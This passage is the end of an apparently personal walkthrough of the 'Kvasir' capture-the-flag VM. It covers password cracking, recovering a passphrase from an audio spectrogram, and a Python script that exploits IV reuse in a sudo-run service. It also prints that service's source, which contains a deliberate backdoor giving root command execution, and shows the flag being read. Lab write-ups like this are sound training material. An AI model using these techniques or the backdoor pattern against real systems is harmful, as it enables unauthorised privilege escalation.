Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
I let john
crunch away at the password, and chuck the disk image towards binwalk
and foremost
in case there is anything else of interest in there.
root@kali:~# binwalk diskimage
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
262144 0x40000 RAR archive data, first volume type: MAIN_HEAD
root@kali:~# foremost diskimage
Processing: diskimage
|*|
root@kali:~# ls output
audit.txt rar wav
What's this - a wav
file? Opening it in audacity
results in a horrid noise.
Switching to the Spectrogram view results in a string being output in the view.
Looks like it reads OrcWQi5VhfCo
. I try using this as the passphrase for the Secret.rar
archive.
root@kali:~/diskimage-mount# unrar x Secret.rar
UNRAR 5.30 beta 2 freeware Copyright (c) 1993-2015 Alexander Roshal
Extracting from Secret.rar
Enter password (will not be echoed) for MyPassword.txt:
Extracting MyPassword.txt OK
All OK
I'm going to take a stab in the dark, and guess that this file contains the password for the user kefka
.
root@kali:~/diskimage-mount# cat MyPassword.txt
5224XbG5ki2C
Let's try and login as kefka
now.
locke@adm:~$ su kefka
Password:
kefka@adm:/home/locke$ id
uid=1001(kefka) gid=1001(kefka) groups=1001(kefka)
Cool beans!
kefka
So kefka
doesn't really have anything in their home directory. Do we have any sudo
permissions?
kefka@adm:~$ sudo -l
Matching Defaults entries for kefka on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kefka may run the following commands on this host:
(ALL) NOPASSWD: /opt/wep2.py
Great, what does /opt/wep2.py
do?
kefka@adm:~$ cat /opt/wep2.py
cat: /opt/wep2.py: Permission denied
kefka@adm:~$ ls -lah /opt/wep2.py
-rwx--x--x 1 root root 2.1K Sep 28 2014 /opt/wep2.py
Damn.. let's run it and find out..
kefka@adm:~$ sudo /opt/wep2.py
Hello?
id
ls -lah
Not a whole lot, it seems.. I quit the script.
^CTraceback (most recent call last):
File "/opt/wep2.py", line 93, in <module>
sock, addr = s.accept()
File "/usr/lib/python2.7/socket.py", line 202, in accept
sock, addr = self._sock.accept()
KeyboardInterrupt
Ok - so we were listening for a connection. Let's run the script again in the background and see what new ports have been opened.
kefka@adm:~$ netstat -tulpn
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:34217 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp6 0 0 :::13379 :::* -
kefka@adm:~$ sudo /opt/wep2.py &
[1] 1503
kefka@adm:~$ netstat -tulpn
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1234 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:34217 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp6 0 0 :::13379 :::* -
So port 1234
has opened. Let's connect and see if we get any further output.
kefka@adm:~$ nc localhost 1234
=============================
Can you retrieve my secret..?
=============================
Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')
V
b490a2:f0393ef3bca5e2b1cd0da7c4
E AAAA
fa3270:3cb51f2b
The filename suggests this may be related to cracking wep
passwords. The wep
protocol utilises RC4
, which in turn in a highly simplified form performs a XOR
on two strings, one being the key (K), and another being the plaintext (P), resulting in the ciphertext (C).
The fact that we can encrypt our own messages with seemingly random IVs (or what we assume are IVs - the first half of the message pair) suggest we may be able to solve this with key reuse - that is to say, we will perform many requests to the application for the encrypted flag, and a known plaintext value, hoping for a collision of IVs between the flag and known plaintext value.
There is no Kefka, Only XOR
I knew my brief introduction to Cryptography from Coursera would come in handy one day. Here comes the theory.
If K ^ P = C
, then C ^ P = K
. Given we know K
for a specific IV
, we can decrypt C
. The keyspace appears to be [a-f0-9]{6}
, giving us a total key space of 16^6
or 16,777,216
possible keys. This may take some time, depending on how fast the target is. Let's see how fast it can spit out the flag and a known plaintext encrypted string. I knock together a quick test script.
from socket import socket
import time
sock = socket()
sock.connect(('127.0.0.1', 1234))
start = time.time()
count = 0
try:
while True:
sock.send("V\n")
sock.recv(4096)
sock.send("E " + "A" * 12 + "\n")
sock.recv(4096)
count += 1
except:
end = time.time()
print count / (end - start)
I run the script /opt/wep2.py
with sudo
, and then let my test script run for 10 seconds before killing it with CTRL+C
.
kefka@adm:~$ sudo /opt/wep2.py &
[1] 1543
kefka@adm:~$ python test.py
^C13930.9826435
So we can request 13931
or there about pairs per second. This may take some time - assuming we're correct.
I knock together a script that will - if our assumption is correct - solve the challenge.
from socket import socket
def xor(str1, str2):
output = ""
for i in range(0, len(str2)):
output += chr(ord(str1[i]) ^ ord(str2[i]))
return output
sock = socket()
sock.connect(('127.0.0.1', 1234))
sock.recv(4096)
flags = {}
plaintexts = {}
plaintext = 'A' * 12
known_key = ''
while True:
sock.send('V\n')
flag_string = sock.recv(4096).strip()
sock.send('E ' + plaintext + '\n')
plaintext_string = sock.recv(4096).strip()
flag_pieces = flag_string.split(':')
flag_key = flag_pieces[0]
flag_cipher = flag_pieces[1].decode('hex')
plaintext_pieces = plaintext_string.split(':')
plaintext_key = plaintext_pieces[0]
plaintext_cipher = plaintext_pieces[1].decode('hex')
flags[flag_key] = flag_cipher
plaintexts[plaintext_key] = plaintext_cipher
if flag_key in plaintexts or plaintext_key in flags:
flag_in_plaintext = flag_key in plaintexts
known_key = flag_key if flag_in_plaintext else plaintext_key
break
target_key = xor(plaintexts[known_key], plaintext)
flag = xor(target_key, flags[known_key])
print flag
I cross my fingers, and pray to Zuul.
kefka@adm:~$ sudo /opt/wep2.py &
[1] 1629
kefka@adm:~$ time python test.py
0W6U6vwG4W1V
real 0m0.438s
user 0m0.092s
sys 0m0.056s
Well damn - that was quick. So, we have a string - 0W6U6vwG4W1V
. What can we do with this? My first guess was to su
to root
.
kefka@adm:~$ su root
Password:
su: Authentication failure
Negatory good buddy.
I spent a long time, going back through each system trying to see which user this was the password for. I came up completely blank.
After a while, I decided to think what else we've come across that accepts input. I decide to pass the string in the application we attacked previously /opt/wep2.py
.
kefka@adm:/home/locke$ nc 127.0.0.1 1234
=============================
Can you retrieve my secret..?
=============================
Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')
0W6U6vwG4W1V
>
Ok - so we've got a different response.
I try entering a few different commands.
> id
> version
Traceback (most recent call last):
File "<string>", line 1, in <module>
NameError: name 'version' is not defined
Wait - this looks like Python! Let's try and call a command.
> from subprocess import call; call(["id"]);
uid=0(root) gid=0(root) groups=0(root)
root of roots
Let's have a dig around. First of all I check out the /opt/wep2.py
script out of pure curiosity.
> from subprocess import call; call(["cat", "/opt/wep2.py"]);
#!/usr/bin/env python
import socket, thread, random, subprocess, os
from Crypto.Cipher import AES
from encodings import hex_codec
iv_size = 6
key = os.urandom(16)
def reset_key(sock):
key = os.urandom(16)
def gen_iv():
iv_nibbles = os.urandom(iv_size).encode("hex")[0:iv_size]
iv_total = iv_nibbles+"1"*(32-len(iv_nibbles))
return iv_total.decode("hex")
def encrypt(iv, data):
pad_bytes = 16-(len(data) % 16)
if pad_bytes < 16 and pad_bytes > 0:
data = data + "X"*pad_bytes
aes = AES.new(key, AES.MODE_OFB, iv)
ciphertext = aes.encrypt(data)
if pad_bytes < 16:
ciphertext = ciphertext[0:-pad_bytes]
return ciphertext
def banner(sock):
sock.send("=============================\nCan you retrieve my secret..?\n=============================\n\nUsage:\n'V' to view the encrypted flag\n'E' to encrypt a plaintext string (e.g. 'E AAAA')\n\n")
def handler(sock, addr):
reset_key(sock)
banner(sock)
f = sock.makefile()
cmd = f.readline()
while len(cmd) != 0:
cmd = cmd.strip()
if len(cmd) == 0:
sock.send("Need a Command...\n")
break
iv = gen_iv()
if cmd[0] == "V":
ciphertext = encrypt(iv, "0W6U6vwG4W1V")
sock.send(iv.encode("hex")[0:iv_size] + ":" + ciphertext.encode("hex") + "\n")
reset_key(sock)
cmd = f.readline()
continue
elif cmd[0] == "E":
segs = cmd.split()
if len(segs) != 2 or len(segs[1]) < 1:
sock.send("Invalid Syntax\n")
else:
ciphertext = encrypt(iv, segs[1])
sock.send(iv.encode("hex")[0:iv_size] + ":" + ciphertext.encode("hex") + "\n")
cmd = f.readline()
continue
elif cmd == "0W6U6vwG4W1V":
while True:
sock.send("> ")
cmd2 = sock.recv(256)
p = subprocess.Popen(['/usr/bin/python', '-c', cmd2], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p1 = p.communicate()[0]
sock.send(p1)
done
cmd = f.readline()
continue
else:
sock.send("Invalid Command\n")
break
f.close()
sock.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.bind(("127.0.0.1", 1234))
s.listen(1)
sock, addr = s.accept()
handler(sock, addr)
Next I check out the home directory for root
.
> from subprocess import call; call(["ls","/root"]);
flag
> from subprocess import call; call(["cat", "/root/flag"]);
_ __ _
| |/ / __ __ __ _ ___ (_) _ _
| ' < \ I / / _` | (_-< | | | '_|
|_|\_\ _\_/_ \__,_| /__/_ _|_|_ _|_|_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Pbatenghyngvbaf ba orngvat Xinfve - V ubcr lbh rawblrq
gur evqr. Gnxr uvf oybbq, zvk jvgu ubarl naq qevax
gur Zrnq bs Cbrgel...
Ovt fubhg bhg gb zl orgn grfgref: @oneeronf naq @GurPbybavny.
Fcrpvny gunaxf gb Onf sbe uvf cngvrapr qhevat guvf raqrnibhe.
Srry serr gb cvat zr jvgu gubhtugf/pbzzragf ba
uggc://jv-sh.pb.hx, #IhyaUho VEP be Gjvggre.
enfgn_zbhfr(@_EnfgnZbhfr)
So, we've got the flag??? This looks like it's encrypted somehow. Looks like ROT13 to me. I put it in to a decrypter.
_ __ _
| |/ / __ __ __ _ ___ (_) _ _
| ' < \ I / / _` | (_-< | | | '_|
|_|\_\ _\_/_ \__,_| /__/_ _|_|_ _|_|_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Congratulations on beating Kvasir - I hope you enjoyed
the ride. Take his blood, mix with honey and drink
the Mead of Poetry…
Big shout out to my beta testers: @barrebas and @TheColonial.
Special thanks to Bas for his patience during this endeavour.
Feel free to ping me with thoughts/comments on
http://wi-fu.co.uk, #VulnHub IRC or Twitter.
rasta_mouse(@_RastaMouse)
Hell yes!
Summary
This VM was such a treat. It felt like I was back in the OSCP labs - pivoting through targets, gathering evidence and taking names. Probably one of the more challenging VMs I've done so far, but totally worth it.
Thank you Rasta Mouse for the amazing challenge, and as always thanks VulnHub for hosting it.